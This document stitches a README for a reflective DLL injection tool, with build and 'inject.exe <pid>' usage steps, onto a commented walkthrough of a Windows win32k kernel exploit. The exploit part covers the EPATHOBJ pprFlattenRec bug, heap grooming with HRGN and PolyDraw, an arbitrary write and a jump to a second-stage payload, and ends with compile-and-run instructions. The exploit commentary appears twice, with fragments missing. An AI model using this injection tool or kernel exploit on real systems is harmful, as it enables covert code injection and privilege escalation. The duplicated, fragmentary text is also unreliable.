About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234

//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//

// It turns out this mostly works because newpathrec() is backed by newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)

// .text:BF9160F7 call _memset
//
// However, the PATHALLOC allocator includes it's own freelist implementation, and
// if that codepath can satisfy a request the memory isn't zeroed and returned
// directly to the caller. This effectively means that we can add our own objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn't super reliable, but it's
// good enough for testing.
//
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// // failure. Seriously, do some damn QA Microsoft, wtf.
// for (Size = 1 << 26; Size; Size >>= 1) {
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
// ;
// }
//
// Adding user controlled blocks to the freelist is a little trickier, but I've
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines of:
//
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = 0x41414141 >> 4;
// Points[PointNum].y = 0x41414141 >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
// BeginPath(Device);
// PolyDraw(Device, Points, PointTypes, PointNum);
// EndPath(Device);
// FlattenPath(Device);
// FlattenPath(Device);
// EndPath(Device);
// }
//
// We can verify this is working by putting a breakpoint after newpathrec, and
// verifying the buffer is filled with recognisable values when it returns:
//
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)

//
// The breakpoint dumps the first dword of the returned buffer, which matches the
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
// easily break the list traversal in bFlattten():
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// EPATHOBJ *pathobj; // esi@1
// PATHOBJ *ppath; // eax@1
// BOOL result; // eax@2
// PATHRECORD *ppr; // eax@3
//
// pathobj = this;
// ppath = this->ppath;
// if ( ppath )
// {
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// if ( !ppr )
// goto LABEL_2;
// }
// }
// pathobj->fl &= 0xFFFFFFFE;
// result = 1;
// }
// else
// {
// LABEL_2:
// result = 0;
// }
// return result;
// }
//
// All we have to do is allocate our own PATHRECORD structure, and then spam
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
// pointers shifted right by 4 (for this reason the structure must be aligned so
// the bits shifted out are all zero).
//
// We can see this in action by putting a breakpoint in bFlatten when ppr has
// moved into userspace:
//
// kd> u win32k!EPATHOBJ::bFlatten

//
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS

//
// The question is how to turn that into code execution? It's obviously trivial to
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
// poses a problem.
//
// Let me demonstrate calling it with my own PATHRECORD:

// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ

//
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// // EPATHOBJ::bFlatten(), do that here.
// PathRecord->flags = PD_BEZIERS;
//
// // Generate a large number of Bezier Curves made up of pointers to our

// The question is how to get PATHALLOC() to succeed under memory pressure so we
// can make this exploitable? I'm quite proud of this list cycle trick,
// here's how to turn it into an arbitrary write.
//
// First, we create a watchdog thread that will patch the list atomically
// when we're ready. This is needed because we can't exploit the bug while
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
// .text:BFA122BD cmp eax, 1 ; Check for failure
// .text:BFA122C0 jz short continue
// .text:BFA122C2 xor eax, eax ; Exit early
// .text:BFA122C4 jmp early_exit
//
// So we create a list node like this:
//
// PathRecord->Next = PathRecord;
// PathRecord->Flags = 0;
//
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// /* ... */
//
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// }
// }
//
// /* ... */
// }
//
// While it's spinning, we clean up in another thread, then patch the thread (we
// can do this, because it's now in userspace) to trigger the exploit. The first
// block of pprFlattenRec does something like this:
//
// if ( pprNew->pprPrev )
// pprNew->pprPrev->pprnext = pprNew;
//
// Let's make that write to 0xCCCCCCCC.
//
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
// {
//
// // This routine waits for a mutex object to timeout, then patches the
// // compromised linked list to point to an exploit. We need to do this.
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
// GetCurrentThreadId(),

//
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// // It looks like the main thread is stuck in a call to FlattenPath(),
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// // up, and then patch the list to trigger our exploit.

//

//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//

// C:\> cl ComplexPath.c

//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.

// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//

//
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)

//
// However, the PATHALLOC allocator includes it's own freelist implementation, and
// if that codepath can satisfy a request the memory isn't zeroed and returned
// directly to the caller. This effectively means that we can add our own objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn't super reliable, but it's
// good enough for testing.
//
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// // failure. Seriously, do some damn QA Microsoft, wtf.
// for (Size = 1 << 26; Size; Size >>= 1) {
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
// ;
// }
//
// Adding user controlled blocks to the freelist is a little trickier, but I've
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines of:
//
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
// Points[PointNum].x = 0x41414141 >> 4;
// Points[PointNum].y = 0x41414141 >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
// BeginPath(Device);
// PolyDraw(Device, Points, PointTypes, PointNum);
// EndPath(Device);
// FlattenPath(Device);
// FlattenPath(Device);
// EndPath(Device);
// }
//
// We can verify this is working by putting a breakpoint after newpathrec, and
// verifying the buffer is filled with recognisable values when it returns:
//
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)

//
// The breakpoint dumps the first dword of the returned buffer, which matches the
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
// easily break the list traversal in bFlattten():
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)

// PATHOBJ *ppath; // eax@1
// BOOL result; // eax@2
// PATHRECORD *ppr; // eax@3
//

// ppath = this->ppath;
// if ( ppath )
// {
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// if ( !ppr )
// goto LABEL_2;
// }
// }
// pathobj->fl &= 0xFFFFFFFE;
// result = 1;
// }
// else
// {
// LABEL_2:
// result = 0;
// }
// return result;
// }
//
// All we have to do is allocate our own PATHRECORD structure, and then spam
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
// pointers shifted right by 4 (for this reason the structure must be aligned so
// the bits shifted out are all zero).
//
// We can see this in action by putting a breakpoint in bFlatten when ppr has
// moved into userspace:
//
// kd> u win32k!EPATHOBJ::bFlatten
// win32k!EPATHOBJ::bFlatten:

// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
// flags (defined in winddi.h). Let's break if it's in userspace:
//
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"

//
// The question is how to turn that into code execution? It's obviously trivial to
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
// poses a problem.
//
// Let me demonstrate calling it with my own PATHRECORD:
//
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ

//
// PathRecord->next = (PVOID)(0x41414141);
// PathRecord->prev = (PVOID)(0x42424242);
//
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// // EPATHOBJ::bFlatten(), do that here.
// PathRecord->flags = PD_BEZIERS;
//

// The question is how to get PATHALLOC() to succeed under memory pressure so we
// can make this exploitable? I'm quite proud of this list cycle trick,
// here's how to turn it into an arbitrary write.
//
// First, we create a watchdog thread that will patch the list atomically
// when we're ready. This is needed because we can't exploit the bug while
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
// .text:BFA122BD cmp eax, 1 ; Check for failure
// .text:BFA122C0 jz short continue
// .text:BFA122C2 xor eax, eax ; Exit early
// .text:BFA122C4 jmp early_exit
//
// So we create a list node like this:
//
// PathRecord->Next = PathRecord;
// PathRecord->Flags = 0;
//
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// /* ... */
//
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// }
// }
//
// /* ... */
// }
//
// While it's spinning, we clean up in another thread, then patch the thread (we
// can do this, because it's now in userspace) to trigger the exploit. The first
// block of pprFlattenRec does something like this:
//
// if ( pprNew->pprPrev )
// pprNew->pprPrev->pprnext = pprNew;
//
// Let's make that write to 0xCCCCCCCC.

// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
// to improve that.
